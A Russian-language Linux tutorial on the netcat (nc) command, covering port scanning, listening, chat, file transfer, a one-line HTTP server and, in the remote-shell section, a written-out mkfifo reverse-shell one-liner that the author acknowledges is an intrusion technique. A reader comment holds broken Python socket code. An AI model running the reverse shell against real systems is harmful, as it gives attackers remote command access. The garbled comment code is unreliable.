Главная >> Команда nc в Linux

Команда nc в Linux

Команда nc (netcat) служит для передачи и получения данных посредством протоколов TCP и UDP. Она не может похвастать большим набором функций, но при этом её достаточно для того, чтобы проверить соединение и провести несложную отладку.

Мы расмотрим несколько примеров, которые помогут понять то, как общаться посредством протокола TCP и как этому найти реальное прменение, вроде обмена файлами. Помимо этого не забудем упомянуть о более подходящих командах, всё же nc успела устареть.


Содержание статьи

Синтаксис и опции nc

Общий вид команды nc:

$ nc -параметры адрес порт(ы)

Часть параметров указывается с уточняющими значениями, а часть без них. Вот список наиболее востребованных параметров:

  • -6 – использовать протокол IPv6. По умолчанию используется параметр -4 и IPv4 соответственно;
  • -h – вывести справку со списком доступных параметров;
  • -i задержка – добавить задержку между отправкой строк или сканированием портов. Задаётся в секундах;
  • -l – режим прослушивания. Используется с указанием порта;
  • -N – закрыть соединение при достижении конца файла при его отправке;
  • -n – Работать с IP-адресами напрямую, не задействуя DNS, также отключить поиск портов;
  • -P имя_пользователя – указать имя пользователя для подключения к прокси;
  • -x адрес:порт – указать адрес и порт для подключения к прокси;
  • -p порт – указать номер порта. В большинстве случаев порт считывается без указания параметра;
  • -U – использовать сокет домена UNIX (для межпроцессного взаимодействия);
  • -u – использовать протокол UDP, по умолчанию используется TСP;
  • -v – подробный режим. Используется при сканировании портов;
  • -W количество_пакетов – закрыть соединение после получения определённого количества пакетов;
  • -w таймер – включить таймер для ограничения времени соединения. Задаётся в секундах;
  • -z – отключить отправку данных. Используется при сканировании портов.

Примеры использования nc

1. Проверка порта

Проверка портов – это одно из основных применений команды nc. Для этого достаточно использовать два параметра -vz, указать адрес и порт. Помимо этого, вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep. В примере проверим порты адреса локальной сети:

nc -vz 192.168.31.247 8080 nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Аналогичным способом можно просканировать порты UDP, добавив параметр -u:

nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Обращаем ваше внимание на отличие между TCP и UDP. UDP порты всегда доступны.

2. Прослушивание порта

Для того, чтобы прослушивать порт используйте параметр -l. В общем случае этого достаточно, но можете включить подробный режим:

nc -nlv 8080

Напомним, что при использовании протокола TСP порт должен быть в свободен, в противном случае вы увидите ошибку: Already in use. Также стоит отметить, что не все порты могут использовать обычные пользователи, например, 80 порт (HTTP) мало того, что скорее всего окажется занят другим процессом, так ещё и потребует прав суперпользователя.

3. Чат и обмен файлами

Ещё одной полезной функцией команды nc является обмен данными. Давайте рассмотрим простейший пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:

nc -lp 8080

На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:

nc 0.0.0.0 8080

Из этого примера видно, что таким способом можно как отправлять, так и получать сообщения. Из этого вытекает ещё одно применение команды – обмен файлами. Действуем по аналогичному сценарию с тем лишь отличием, что вывод перенаправим в файл, в нашем случае paste.txt:

nc -l 8080 > paste.txt

На другом компьютере вводом будет служить файл copy.txt. Не лишним будет использовать параметр -N, чтобы после передачи файла закрыть соединение:

nc -N 0.0.0.0 8080 < copy.txt

Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл.

Команда nc – это вполне рабочий, но далеко не самый лучший способ передачи файлов. Ранее мы рассматривали и другие способы передачи файлов, с ними вы сможете отслеживать прогресс передачи файла, а в ряде случаев даже возобновить процесс.

3. Простой веб-сервер

Так как команда nc работает с протоколом TСP, то c её помощью можно как отправлять, так и получать запросы HTTP, а это значит, что утилита может стать простейшим веб-сервером. Конечно, ничего сложнее страницы-заглушки у вас не получится запустить, но зато эта операция практически не отнимет времени, к тому же для этого не потребуется что-либо устанавливать.

В нашем примере мы сформируем ответ HTTP с файлом index.html. Если же говорить о самой команде np, то не лишним будет установить таймер параметром -w 1, чтобы разорвать соединение, если этого не сделает браузер:

while true; do echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l -w 1 -p 8080; done

Для получения данных с сайта вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, поэтому гораздо лучше воспользоваться более подходящей командой curl.

5. Удалённая оболочка

Если вспомнить то, как мы делали чат, может возникнуть ещё одна идея – удалённый доступ к оболочке компьютера. Ранее утилита nc имела несколько параметров для открытия доступа к терминалу. Параметр -e уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.

Покажем подключение с помощью именованного канала mkfifo. Но сначала запустим прослушивание порта на том компьютере, на котором будем получать доступ:

nc -lvnp 8080

Теперь перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Надо понимать, что, по сути, это один из способов взлома, однако, он может быть полезен в том случае, если возникли проблем с ssh. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.

Выводы

Команда Netcat – это довольно старая программа, её основная задача – проверка портов. Если же говорить именно о сканировании сети, то nmap имеет гораздо больше функций. Зато с помощью nc можно организовать простейший обмен сообщениями типа клиент-сервер.

В качестве удалённой оболочки использовать nc также можно, но на самом деле способов подключения, помимо ssh, довольно много, есть даже шпаргалки и целые сайты, так что не забывайте проверять то, что вы вводите в терминале сервера.

Оставьте свой Email для того чтобы получать анонсы новых статей и полезную информацию о Linux по электронной почте
Pеклама
Посмотреть детали

Если вы искали альтернативу почтовому сервису Gmail, который уважает вашу конфиденциальность, обратите внимание на ProtonMail. Ваши письма автоматически шифруются сквозным шифрованием, поэтому читать их можете только вы и получатель. ProtonMail не собирает ваши персональные данные и базируется в Швейцарии, где действуют одни из самых строгих законов о конфиденциальности. Посмотреть детали

3 комментария к “Команда nc в Linux”

  1. "Обращаем ваше внимание на отличие между TCP и UDP. UDP порты всегда доступны."
    Бред. Отличие в наличии handshake у TCP. Проще говоря возвращается ответ с той стороны, что соединение установлено. UDP шлёт пакеты в никуда в надежде, что там что-то поймает.

    Ответить
  2. impopt socket
    import codecs
    import subprocess
    def send_data(data):
    subprocess.run(['echo', data, '|', 'nc', '', ''], shell=True)
    # Пример использования
    send_data('Hello, Server!')
    i=0
    sock = socket.socket()
    host =
    port =
    sock.connect((host, port))

    while i != :
    data = sock.recv(1024)
    print(data)
    data = codecs.escape_decode(data) [0] .decode( ' unicode-escape " )
    print(data)
    print(data. split())
    a = data.split()
    i+=1

    if i>= 2:
    a1 = a[-4]
    a2 = a[-2]
    print(a1,a2)
    result = str((int(a1)+int(a2)))
    print(result)

    message = result. encode()
    sock. sendall (message)

    Ответить
  3. Для режима прослушивания порта ключ -p всё-таки нужно указывать. Иначе netcat открывает рандомный порт.
    Команда: nc -vlnp 4444

    Ответить

Оставьте комментарий